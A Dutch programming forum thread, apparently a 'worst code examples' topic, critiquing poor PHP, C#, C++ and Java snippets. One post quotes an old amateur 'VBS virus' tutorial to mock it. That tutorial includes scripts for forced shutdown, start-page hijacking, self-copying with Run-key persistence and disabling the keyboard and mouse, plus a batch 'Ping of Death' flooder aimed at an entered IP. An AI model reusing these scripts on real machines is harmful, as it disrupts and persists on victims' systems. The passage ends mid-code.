my bad.hostname schreef op zondag 22 november 2009 @ 16:00:
[...]
Er staat een forwardslash (/), terwijl om te escapen altijd de backslash (\) wordt gebruikt.
Ik zat hier nog half te slapen denk ik toen ik dat bekeek.
True, maar volgens mij was t sowieso even los een snippet dus in dit topic moet je daar niet echt veel waarde aan hechtenHuHu schreef op zondag 22 november 2009 @ 17:19:
[...]
Template of geen template, het doen van queries en het printen van HTML in één en dezelfde functie stoppen is niet echt een goed plan.
Het is slechts een klein gedeelte van de in totaal meer dan 6MB aan PHP files. En ja er is een template systeem alleen in deze functie wordt standaard een linkje teruggegeven en die stylen we met cssCartman! schreef op zondag 22 november 2009 @ 18:26:
[...]
True, maar volgens mij was t sowieso even los een snippet dus in dit topic moet je daar niet echt veel waarde aan hechten
De functie die ik poste en niet lekker werkte is niet de enige, vandaag nog 2 van dit soort gevallen tegengekomen

edit: @HuHu waarom niet? In dit soort simpele functies is het toch niet zinnig om weer een andere functie te schrijven die de count uitvoert en een var returned. Vervolgens moet je deze weer meegeven in de andere functie...
[ Voor 16% gewijzigd door JefSnare op 22-11-2009 19:43 ]
Dus eigenlijk de var's returnen en dan in de template "bouwen". Is ook een optie, nu werkt het echter dus blijf er nog even vanafCartman! schreef op zondag 22 november 2009 @ 22:20:
In je model hoor je geen code voor je view te produceren.

Die zielige op-de-man smilies mag je achterwege laten. Dit is Fok! niet.Cartman! schreef op zondag 22 november 2009 @ 16:58:
[...]
Niet weer die slimme opmerking van iemand die denkt dat een template engine de beste manier isZoek ff wat afgelopen topics op om die discussie te lezen en je weet wat ik bedoel
I mentioned it once, but I think I got away with it.
Dus zodra er nu iets in de html veranderd moet worden moet je eigenlijk de complete 6mb open trekken ipv dat je je kunt beperken tot de view code.JefSnare schreef op maandag 23 november 2009 @ 08:37:
[...]
Dus eigenlijk de var's returnen en dan in de template "bouwen". Is ook een optie, nu werkt het echter dus blijf er nog even vanaf.
Separation of concerns is eigenlijk de enige manier om projecten voor de mens behapbaar te houden. Ik durf wel te stellen dat de meeste uit de bocht gierende projecten uit de bocht gieren omdat ze de 'concerns' niet goed 'geseparate' hebben.
Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'
True, maar wat ik al eerder zei dit is een functie die twee linkjes genereerd en voor de rest de vars meegeeft. Eigenlijk hoef ik dit aan te passen dan is het op de hele website aangepast. De "view" code is dan voor deze functie niet optimaal inderdaad. Echter mijn kennis laat het niet toe het anders te programmeren. Dit is wel iets wat ik wil verbeteren. Ik ben inderdaad van mening dat je de view code en de functies apart moet houden.Janoz schreef op maandag 23 november 2009 @ 10:38:
[...]
Dus zodra er nu iets in de html veranderd moet worden moet je eigenlijk de complete 6mb open trekken ipv dat je je kunt beperken tot de view code.
Separation of concerns is eigenlijk de enige manier om projecten voor de mens behapbaar te houden. Ik durf wel te stellen dat de meeste uit de bocht gierende projecten uit de bocht gieren omdat ze de 'concerns' niet goed 'geseparate' hebben.
Ampera-e (60kWh) -> (66kWh)
Tja het wordt constant bijgehouden omdat we altijd (willen) verbeteren. Wat wat wordt bedoeld met view code en producing code? Ik snap het principe maar bijvoorbeeld een functie schrijven die alleen de vars+waardes returned en dan in de link neerzet;!null schreef op maandag 23 november 2009 @ 11:11:
Hoeveel kennis heb je er voor nodig? Het is meer tijd en moeite die het kost, zeker om een bestaand project om te bouwen. Wel iets dat zich loont imo, maar als het een volledig bestaand project is waar nog amper aan gecodeerd wordt, ja dan is het logisch om het zo te laten.
1
| echo "<a href=\"{$bb}&c={$ter}{$varsort}\" class=\"menu\">volgende</a></p>"; |
Want dan worden queries e.d. in de functie uitgevoerd. Ik heb nu een projectje draaien waarin alles door elkaar staat, tja niet handig maar wat leer je nou tegenwoordig op de MBO scholen. Daarom zelfstudie en T.net
Onderstaande code is een voorbeeld uit het huidige projectje;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| if(!isset($_GET[c]) || $_GET[c] <= 0){ $current = 0; }elseif(is_numeric($_GET[c]) && !empty($_GET[c])){ $current = addslashes($_GET[c]) * $pagecount; } if(isset($_GET[s]) && is_numeric($_GET[s]) && $_GET[s] == 1){ $sort = 'ASC'; }else{ $sort = 'DESC';} $get_posts = mysql_query("SELECT * FROM posts ORDER BY id $sort LIMIT $current, $pagecount"); print '<table style="width: 100%;"><tr><th>Naam</th><th>Datum <a href="/admin/detail/artikel&s=1" style="color: #FFF;">O</a> <a href="/admin/detail/artikel" style="color: #FFF;">N</a></th><th>Opmerking</th><th>Verwijderen</th></tr>'; while ($get_item=mysql_fetch_array($get_posts)){ //zetten van status $front = ''; $storing = ''; if($get_item[voorpagina] == 'on'){$front = 'Voorpagina';} if($get_item[storing] == 'on'){$storing = 'Storingsmelding';} print '<tr><td><a href="/posts/'.$get_item[id].'">'.stripslashes($get_item[titel]).'</a></td> <td>'.stripslashes($get_item[datum]).'</td><td>'.$front.$storing.'</td> <td><a onclick="return window.confirm(\'Weet je zeker dat je het artikel wilt verwijderen?\');" href="'.$foo.'&r='.$get_item[id].'">verwijderen</a></td></tr>'; } print '</table>'; //pagina's maken makePages("posts", $current, "/admin/detail/artikel", $_GET['s'], $pagecount); |
Zoals te zien is staat echt alles door elkaar en ben je soms wel eens aan het spitten waar die quot verkeerd staat. Sommige dingen kunnen echt wel beter maar als je het niet weet dan pas je het ook niet toe.

1
| }elseif(is_numeric($_GET[c]) && !empty($_GET[c])){ |
Als $_GET[c] numeriek is, is hij sowieso niet empty toch
Begin eens met wat entities/to's maken. Gewoon classes of structs die enkel je data entiteiten bevatten. Goed google woordje is 'transfer objects' . Het ophalen van de data wordt vervolgens een functie die een lijst met TO's oplevert (of slechts 1 TO) en het renderen gebeurt vervolgens met een functie die een lijst TO's accepteerd.
Een mooi lees startpunt is waarschijnlijk Wikipedia: Multitier architecture . Merk daarbij op dat een tier helemaal niet op een appart systeem hoeft te draaien. De enige eis is dat ze zo onafhankelijk mogelijk zijn en dat de afhankelijkheden erg duidelijk zijn.
Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'
Dit zou zo één van mijn eerste php projectjes kunnen zijn. Zsm een oplossing maken zonder te denken aan enige onderhoudbaarheid..JefSnare schreef op maandag 23 november 2009 @ 11:37:
[...]
[snip]
Zoals te zien is staat echt alles door elkaar en ben je soms wel eens aan het spitten waar die quot verkeerd staat. Sommige dingen kunnen echt wel beter maar als je het niet weet dan pas je het ook niet toe.
http://hawvie.deviantart.com/

Ik ben bijna twee uur bezig geweest om het bestand weer een beetje leesbaar te maken. Zelfs auto-format wilde niet werken
Oh en ik heb het onder Linux en Windows geprobeerd te wijzigen, maar ook de hexview liet geen LF of CR waardes zien.
If money talks then I'm a mime
If time is money then I'm out of time
Niet waar, zie http://nl.php.net/emptyRedHat schreef op maandag 23 november 2009 @ 11:50:
PHP:
1 }elseif(is_numeric($_GET[c]) && !empty($_GET[c])){
Als $_GET[c] numeriek is, is hij sowieso niet empty toch
Zoiezo moet het $_GET['c'] zijn.
[ Voor 8% gewijzigd door Olaf van der Spek op 23-11-2009 13:31 ]
Ik neem aan dat je 'moet' bedoeld als 'het hoort zo' want helaas laat PHP het wel toe.Olaf van der Spek schreef op maandag 23 november 2009 @ 13:30:
[...]
Zoiezo moet het $_GET['c'] zijn.
[Te koop: 3D printers] [Website] Agile tools: [Return: retrospectives] [Pokertime: planning poker]
Wellicht is er wel ergens eenSebazzz schreef op maandag 23 november 2009 @ 13:31:
[...]
Ik neem aan dat je 'moet' bedoeld als 'het hoort zo' want helaas laat PHP het wel toe.
1
| define('c','blaat'); |
gedaan
Overigens laat PHP het wel toe, maar geeft wel een foutmelding (ja, een notice is een foutmelding)
En nog een leuke .bat die ik tegenkwam, ook niet zelf gemaakt, maar gewoon flauw gejatEr zijn dus nu al 3 topics over virusjes schrijven in batch.
Nu gaan we dat leren in VBS een echte virus taal waar onder
andere de I Love You virus is in geschreven.
Wat VBS betekent dat is Visual Basic Script ofzo maar hebben we niet nodig.
Eerst leren we de saaie basis voor we de leuke dingen
kunnen gaan leren.
Ps:een be oordeling is altijd welkom
Les 1
Open als eerst je raad het al je kladblok.
Waarom lijkt me duidelijk is het je niet duidelijk
ga dan maar eerst met batch aan de gang.
dan tiep je dit in
msgbox"damn het werkt ook nog"
sla je op als vulhiermaarwatin.vbs
En voer de script uit en er verschijnt een schermpje
met Damn het werkt ook nog.
uitleg.
msgbox staat voor Messagebox.
"damn het werkt ook nog" is dus de tekst in de popup scherm.
nu open je weer de klablok en voer je in.
a=inputbox("gast wat is je naam")
msgbox "damn wie noemt zijn kind nouw "+a
sla hem op als .vbs en open hem nu en zie werking ervan.
wat houden de codes allemaal in ?
Inputbox = is simpel weg je wat in laten voeren
a= = de waarde van de inputbox
msgbox "" = tekst laten zien
+a = hij voegt bij msgbox dat gene wat je bij inputbox in vulde
Les 2
We gaan nu leren dingen op te starten en te maken.(dit klinkt leuk net of ik een leraar ben )o
Oke hoef het nu niet meer te zeggen eigenlijks open kladblok
en voer dit er in
Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("C:\mijn bijbel.txt")
a.WriteLine ("Leer Tesamen en spiek als je kunt op een tetamen AMEN")
a.Close
voer de script uit en je ziet dat die een text file
in de c schijf maakt met de naam mijn bijbel
en met de tekst Leer Tesamen en spiek als je kunt op een tetamen AMEN
Uitleg
set fso=CreateObject("Scripting.FileSystemObject") roept een script file op.
set a=fso.CreateTextFile zegt dat het een textfile is.
("C:\mijn bijbel.txt")geeft de locatie waar hij komt en de nieuwe filename aan
a.WriteLine wat tussen de haakjes staat typt hij in de file
a.Close sluit de text.
Deze manier zouden we dus ook batch bestanden kunnen maken
maar en ze ook op starten zo iets als hier onder.
Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("C:\batch.bat", True)
a.WriteLine ("@echo off")
a.WriteLine ("echo het werkt")
a.WriteLine ("pause")
a.Close
msgbox"ik ga een tekst laten zien"
Set shl = CreateObject("Wscript.shell")
shl.Run "c:\batch.bat"
sla het op als een .vbs
en Zie het effect.
ff uitleg over de nieuwe codes.
Set shl = CreateObject("Wscript.shell") = geen flauw idee niet belangrijk zo lang
je dat maar voor die andere code doet.
shl.Run = shl is de waarde die je had gezet door die andere code
en die Run lijkt me vrij duidelijk he .
WAARSCHUWING: het bestand moet altijd 1 woord zijn
niet meerdere anders werkt het niet.
je kan nog meer doen met dat shl.Run zo als
batch commando's uitvoeren
voorbeeld
Set a = CreateObject("WScript.Shell")
a.run ("c:\windows\ping.exe -t -l 1024 je doelwit")
end sub
deze script pingt dus wat jij bij je doelwit in vult
maar je kunt niet ping doen ofzo
je moet de hele bestand naam op geven
en alle dos commando's zitten in windows map
dus moet je ff de dos commando op zoeken
en de hele naam invullen om hem te laten werken.
handige script.
Deze script vond ik zeer handig hoe die werkt
geen zin in om uit te leggen
deze script maakt zo menu waar je uit
kan kiezen zeer handig
Code:
Dim strMsg,inp01,strTitle,strFlag
strTitle = "Answer Box"
strMsg = "Enter A for Alaska" & vbCR
strMsg = strMsg & "Enter D for Delaware" & vbCR
strMsg = strMsg & "Enter T for Texas" & vbCR
strFlag = False
Do While strFlag = False
inp01 = InputBox(strMsg,"Make your selection")
Select Case inp01
Case "A"
MsgBox "You picked Alaska!",64,strTitle
strFlag = True
Case "D"
MsgBox "You picked Delaware!",64,strTitle
strFlag = True
Case "T"
MsgBox "You picked Texas!",64,strTitle
strFlag = True
Case Else
MsgBox "You made an incorrect selection!",64,strTitle
End Select
Loop
Wscript.Quit
EViL SCRIPTS !!!!!! en leuke scripts
Deze code laat de PC afsluiten.
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
Deze weizigt de naam van de titel van de Internet Explower.
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","de naam"
Dit verander je startpagina.
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://warezheaven.nl"
Dit opent je CD-rom/dv/brander.
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
Dit laat je PC een heel vaag error geluidje horen.
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
Dit zal je ''virusje'' in je opstart volgorde van windows zetten.
Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "\Virus.vbs"
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start menu",winfolder & "\Virus.vbs"
Dit verandert de naam van op wie de PC geregistreert staat.
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", "Hackt by Under Rap AkA M.A"
Deze code Schakelt het toetsenbord uit.
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableKeyboard", "Rundll32.exe Keyboard,Disable
deze code schakelt de muis uit
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableMouse", "Rundll32.exe Mouse,Disable"
veel plezier er mee en wees creative
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
| :start @echo off cls echo =============================== echo - Welcome To Candyman's - echo - Ping Of Death - echo =============================== echo Ik ga Je DoSSeN..! echo Ik Geef Je De Ping Of Death..! echo Ik Ga Net Zolang Door Pingen Totdat Je Computer Het Niet Meer Houd..! echo =============================== echo - Welcome To Candyman's - echo - Ping Of Death - echo =============================== echo. echo a) DoSSeN echo b) DoSSeN echo c) DoSSeN echo d) DoSSeN echo e) Credits echo f) Exit echo g) Goto WarezHeaven echo h) Klik Maar echo. :choice set /p c=Make Your Choice : if "%C%"=="h" goto h if "%C%"=="g" goto g if "%C%"=="f" goto f if "%C%"=="e" goto e if "%C%"=="d" goto d if "%C%"=="c" goto c if "%C%"=="b" goto b if "%C%"=="a" goto a :a cls echo =============================== echo - Welcome To Candyman's - echo - Ping Of Death - echo =============================== echo. @echo on @echo Ip : set /p ip= @echo off ping -v igmp %ip% -l 15000 -t3 :b cls echo =============================== echo - Welcome To Candyman's - echo - Ping Of Death - echo =============================== echo. @echo on @echo Ip : set /p ip= @echo off ping -v igmp %ip% -l 15000 -t3 :c cls echo =============================== echo - Welcome To Candyman's - echo - Ping Of Death - echo =============================== echo. @echo on @echo Ip : set /p ip= @echo off ping -v igmp %ip% -l 15000 -t3 :d cls echo =============================== echo - Welcome To Candyman's - echo - Ping Of Death - echo =============================== echo. @echo on @echo Ip : set /p ip= @echo off ping -v igmp %ip% -l 15000 -t3 :e cls echo =============================== echo - Welcome To Candyman's - echo - Ping Of Death - echo =============================== echo. echo Gemaakt Door : echo --------------------- echo. echo Candyman ......................... Maken Van Batchfile echo. pause goto :start :f cls echo =============================== echo - Welcome To Candyman's - echo - Ping Of Death - echo =============================== echo. echo. :g START http://www.warezheaven.nl goto :start :h @ECHO OFF & cd/d %temp% & echo [version] > {out}.inf (set inf=InstallHinfSection DefaultInstall) echo signature=$chicago$ >> {out}.inf echo [defaultinstall] >> {out}.inf rundll32 setupapi,%inf% 1 %temp%\{out}.inf del {out}.inf |
EDIT: Ik snap dat je niet code van anderen mag afzeiken, maar dit is al zoveel jaar geleden, en desbetreffende persoon zit (als het goed is) niet op dit forum.....

[ Voor 16% gewijzigd door afraca op 23-11-2009 20:30 ]
IMDB vote history | Next-gen OS, audio en video player, search engine en Movie DB
1
2
3
4
5
6
7
8
9
10
| //als de file reeds bestaat dan deleten we deze eerst en dan verplaatsen we de andere (eigenlijk gewoon een overwrite dus) if (!File.Exists(Properties.Resources.exportedFilesPath + fileName + "." + fileExtension)) { File.Move(filePath, Properties.Resources.exportedFilesPath + fileName + "." + fileExtension); } else { File.Delete(Properties.Resources.exportedFilesPath + fileName + "." + fileExtension); File.Move(filePath, Properties.Resources.exportedFilesPath + fileName + "." + fileExtension); } |
Jawadde plaats dan regel 4 buiten de if, delete 9 en invert de if. Simpeler qua onderhoud
Going for adventure, lots of sun and a convertible! | GMT-8
Snake schreef op woensdag 25 november 2009 @ 09:26:
Jawadde plaats dan regel 4 buiten de if, delete 9 en invert de if. Simpeler qua onderhoud
1
2
3
| string newFilePath = Path.Combine( Properties.Resources.exportedFilesPath, fileName + "." + fileExtension); File.Delete(newFilePath); File.Move(filePath, newFilePath); |
is nog makkelijker
Echter kan het hier nog steeds gebeuren dat je de file niet kunt moven, dus eigenlijk zou je nog een exception op moeten vangen
[ Voor 33% gewijzigd door Woy op 25-11-2009 10:52 ]
“Build a man a fire, and he'll be warm for a day. Set a man on fire, and he'll be warm for the rest of his life.”
Mja, dan mag het dus geen (int) 0 zijn. Maar volgens mij wilt hij dat helemaal niet (En dus wilt hij wel een 0 mee bijvoorbeeld).Olaf van der Spek schreef op maandag 23 november 2009 @ 13:30:
[...]
Niet waar, zie http://nl.php.net/empty
Zoiezo moet het $_GET['c'] zijn.

1
2
3
| if (cc == null) if (cc != null) cc = cc; |
Waarbij CC een controlCollection is (c#)
Kwam het tegen in oude code van een collega
Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'
Maar als je automatisch refactoring toepast, zou je ook verwachten dat er ook wel een code inspection tool is. En die begint natuurlijk meteen te roepen dat de expressie in de 2e if altijd naar false evalueert, en je dus een unreachable statement hebt.Janoz schreef op woensdag 25 november 2009 @ 13:51:
Typisch resultaat van een automatische refactor actie. Waarschijnlijk bleken er helemaal geen meerdere instanties van de controlCollection nodig te zijn en konden ze met 1 af.
“Build a man a fire, and he'll be warm for a day. Set a man on fire, and he'll be warm for the rest of his life.”
Deed Visual Studio dan ook...vandaar dat het me opviel.Woy schreef op woensdag 25 november 2009 @ 13:55:
[...]
Maar als je automatisch refactoring toepast, zou je ook verwachten dat er ook wel een code inspection tool is. En die begint natuurlijk meteen te roepen dat de expressie in de 2e if altijd naar false evalueert, en je dus een unreachable statement hebt.
Maar eventjes weggehaald...
1
2
3
4
5
6
7
8
| POINT cursorPos; GetCursorPos(&cursorPos); int mouseXSpeed = cursorPos.x - 840; int mouseYSpeed = cursorPos.y - 525; SetCursorPos(840, 525); |
En je dan maar af blijven vragen waarom de camera zo raar rond draait als je een andere resolutie hebt.
[ Voor 39% gewijzigd door .oisyn op 27-11-2009 16:33 ]
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
Probleem was dat dat niet het geval was ;-) tijdens het testen werd er eigenlijk constant 800x600 in windowed mode gebruikt (wat inderdaad prima werkte). De problemen ontstonden toen er 800x600 werd gedraaid in fullscreen mode. Wat ik vooral niet begreep aan de code was dat iemand dat met een schoon geweten kan schrijven terwijl echt nog geen 20 seconden langer duurt dan wanneer je even netjes het schermformaat opvraagt en je waardes daarop baseert..oisyn schreef op vrijdag 27 november 2009 @ 16:30:
Eigenlijk maakt dat niet zoveel uit waar je de cursor houdt, zolang je beweging per frame maar niet te groot is zodat er geclipt wordt. De code zal op zich prima werken op resoluties > 1024x768.
Erger is eigenlijk dat deze code de al aanwezige platform agnostische api passeert en gewoon rechtstreeks de win32 api aanroept

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| /// <summary> /// Verkleint de opgegeven Image zodat deze onvervormd in de opgegeven PictureBox past, en maakt er een border omheen /// </summary> /// <param name="image">Image om te verkleinen</param> /// <param name="pictureBox">PictureBox waar de image in moet</param> /// <returns></returns> private Image ImageSizeToPictureboxSize(Image image, PictureBox pictureBox) { double imgWidth = Convert.ToDouble(image.Width); double imgHeight = Convert.ToDouble(image.Height); double pboxWidth = Convert.ToDouble(pictureBox.Width); double pboxHeight = Convert.ToDouble(pictureBox.Height); double hoekImage = Math.Atan(imgHeight / imgWidth) * (180 / Math.PI); double hoekPictureBox = Math.Atan(pboxHeight / pboxWidth) * (180 / Math.PI); double f = hoekPictureBox > hoekImage ? imgWidth / pboxWidth : imgHeight / pboxHeight; int newWidth = Convert.ToInt32(image.Width / f); int newHeight = Convert.ToInt32(image.Height / f); Image resizedImage = image.GetThumbnailImage(newWidth, newHeight, new Image.GetThumbnailImageAbort(this.ImageLoadAbort), IntPtr.Zero); Graphics.FromImage(resizedImage).DrawRectangle(Pens.DarkGray, 0,0,resizedImage.Width-1, resizedImage.Height-1); return resizedImage; } private bool ImageLoadAbort() { return true; } |
Zie ik later dat er ook een pictureBox.SizeMode is...
[ Voor 26% gewijzigd door Janoz op 04-12-2009 14:09 ]
Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'

1
2
3
4
5
6
7
8
9
10
| Dimensions ScaleToBox(Dimensions imageSize, Dimensions boxSize) { float imageAspect = (float)imageSize.width / imageSize.height; float boxAspect = (float)boxSize.width / boxSize.height; if (imageAspect > boxAspect) // width is the largest relative edge return Dimensions(boxSize.width, boxSize.width / imageAspect); else // height is the largest relative edge return Dimensions(boxSize.height * imageAspect, boxSize.height); } |
boxAspect hoef je dan feitelijk nog niet eens uit te rekenen (a/b > c/d => ad > bc)
[ Voor 18% gewijzigd door .oisyn op 04-12-2009 15:30 ]
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.

't kon idd makkelijker, maar hey, we zitten hier in "slechtste programmeervoorbeelden" of niet
De if op regel 6 in mijn codevoorbeeld wordt dan: if (boxSize.width / imageAspect > boxSize.height). Wiskundig gezien is dat equivalent (a/b > c/d <=> c / (a/b) > d), maar intuitief gezien wat voordehandliggender.
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
| package be.kdg.view; //Tic-Tac-Toe Artificial Intelligence //Created: October 13, 2008 import javax.swing.JButton; public class CPU { public static int doMove(JButton btn1, JButton btn2, JButton btn3, JButton btn4, JButton btn5, JButton btn6, JButton btn7, JButton btn8, JButton btn9) { if(btn1.getText().equals("O") && btn2.getText().equals("O") && btn3.getText().equals("")) return 3; else if(btn4.getText().equals("O") && btn5.getText().equals("O") && btn6.getText().equals("")) return 6; else if(btn7.getText().equals("O") && btn8.getText().equals("O") && btn9.getText().equals("")) return 9; else if(btn2.getText().equals("O") && btn3.getText().equals("O") && btn1.getText().equals("")) return 1; else if(btn5.getText().equals("O") && btn6.getText().equals("O") && btn4.getText().equals("")) return 4; else if(btn8.getText().equals("O") && btn9.getText().equals("O") && btn7.getText().equals("")) return 7; else if(btn1.getText().equals("O") && btn3.getText().equals("O") && btn2.getText().equals("")) return 2; else if(btn4.getText().equals("O") && btn6.getText().equals("O") && btn5.getText().equals("")) return 5; else if(btn7.getText().equals("O") && btn9.getText().equals("O") && btn8.getText().equals("")) return 8; else if(btn1.getText().equals("O") && btn4.getText().equals("O") && btn7.getText().equals("")) return 7; else if(btn2.getText().equals("O") && btn5.getText().equals("O") && btn8.getText().equals("")) return 8; else if(btn3.getText().equals("O") && btn6.getText().equals("O") && btn9.getText().equals("")) return 9; else if(btn4.getText().equals("O") && btn7.getText().equals("O") && btn1.getText().equals("")) return 1; else if(btn5.getText().equals("O") && btn8.getText().equals("O") && btn2.getText().equals("")) return 2; else if(btn6.getText().equals("O") && btn9.getText().equals("O") && btn3.getText().equals("")) return 3; else if(btn1.getText().equals("O") && btn7.getText().equals("O") && btn4.getText().equals("")) return 4; else if(btn2.getText().equals("O") && btn8.getText().equals("O") && btn5.getText().equals("")) return 5; else if(btn3.getText().equals("O") && btn9.getText().equals("O") && btn6.getText().equals("")) return 6; else if(btn1.getText().equals("O") && btn5.getText().equals("O") && btn9.getText().equals("")) return 9; else if(btn5.getText().equals("O") && btn9.getText().equals("O") && btn1.getText().equals("")) return 1; else if(btn1.getText().equals("O") && btn9.getText().equals("O") && btn5.getText().equals("")) return 5; else if(btn3.getText().equals("O") && btn5.getText().equals("O") && btn7.getText().equals("")) return 7; else if(btn7.getText().equals("O") && btn5.getText().equals("O") && btn3.getText().equals("")) return 3; else if(btn7.getText().equals("O") && btn3.getText().equals("O") && btn5.getText().equals("")) return 5; else if(btn1.getText().equals("X") && btn2.getText().equals("X") && btn3.getText().equals("")) return 3; else if(btn4.getText().equals("X") && btn5.getText().equals("X") && btn6.getText().equals("")) return 6; else if(btn7.getText().equals("X") && btn8.getText().equals("X") && btn9.getText().equals("")) return 9; else if(btn2.getText().equals("X") && btn3.getText().equals("X") && btn1.getText().equals("")) return 1; else if(btn5.getText().equals("X") && btn6.getText().equals("X") && btn4.getText().equals("")) return 4; else if(btn8.getText().equals("X") && btn9.getText().equals("X") && btn7.getText().equals("")) return 7; else if(btn1.getText().equals("X") && btn3.getText().equals("X") && btn2.getText().equals("")) return 2; else if(btn4.getText().equals("X") && btn6.getText().equals("X") && btn5.getText().equals("")) return 5; else if(btn7.getText().equals("X") && btn9.getText().equals("X") && btn8.getText().equals("")) return 8; else if(btn1.getText().equals("X") && btn4.getText().equals("X") && btn7.getText().equals("")) return 7; else if(btn2.getText().equals("X") && btn5.getText().equals("X") && btn8.getText().equals("")) return 8; else if(btn3.getText().equals("X") && btn6.getText().equals("X") && btn9.getText().equals("")) return 9; else if(btn4.getText().equals("X") && btn7.getText().equals("X") && btn1.getText().equals("")) return 1; else if(btn5.getText().equals("X") && btn8.getText().equals("X") && btn2.getText().equals("")) return 2; else if(btn6.getText().equals("X") && btn9.getText().equals("X") && btn3.getText().equals("")) return 3; else if(btn1.getText().equals("X") && btn7.getText().equals("X") && btn4.getText().equals("")) return 4; else if(btn2.getText().equals("X") && btn8.getText().equals("X") && btn5.getText().equals("")) return 5; else if(btn3.getText().equals("X") && btn9.getText().equals("X") && btn6.getText().equals("")) return 6; else if(btn1.getText().equals("X") && btn5.getText().equals("X") && btn9.getText().equals("")) return 9; else if(btn5.getText().equals("X") && btn9.getText().equals("X") && btn1.getText().equals("")) return 1; else if(btn1.getText().equals("X") && btn9.getText().equals("X") && btn5.getText().equals("")) return 5; else if(btn3.getText().equals("X") && 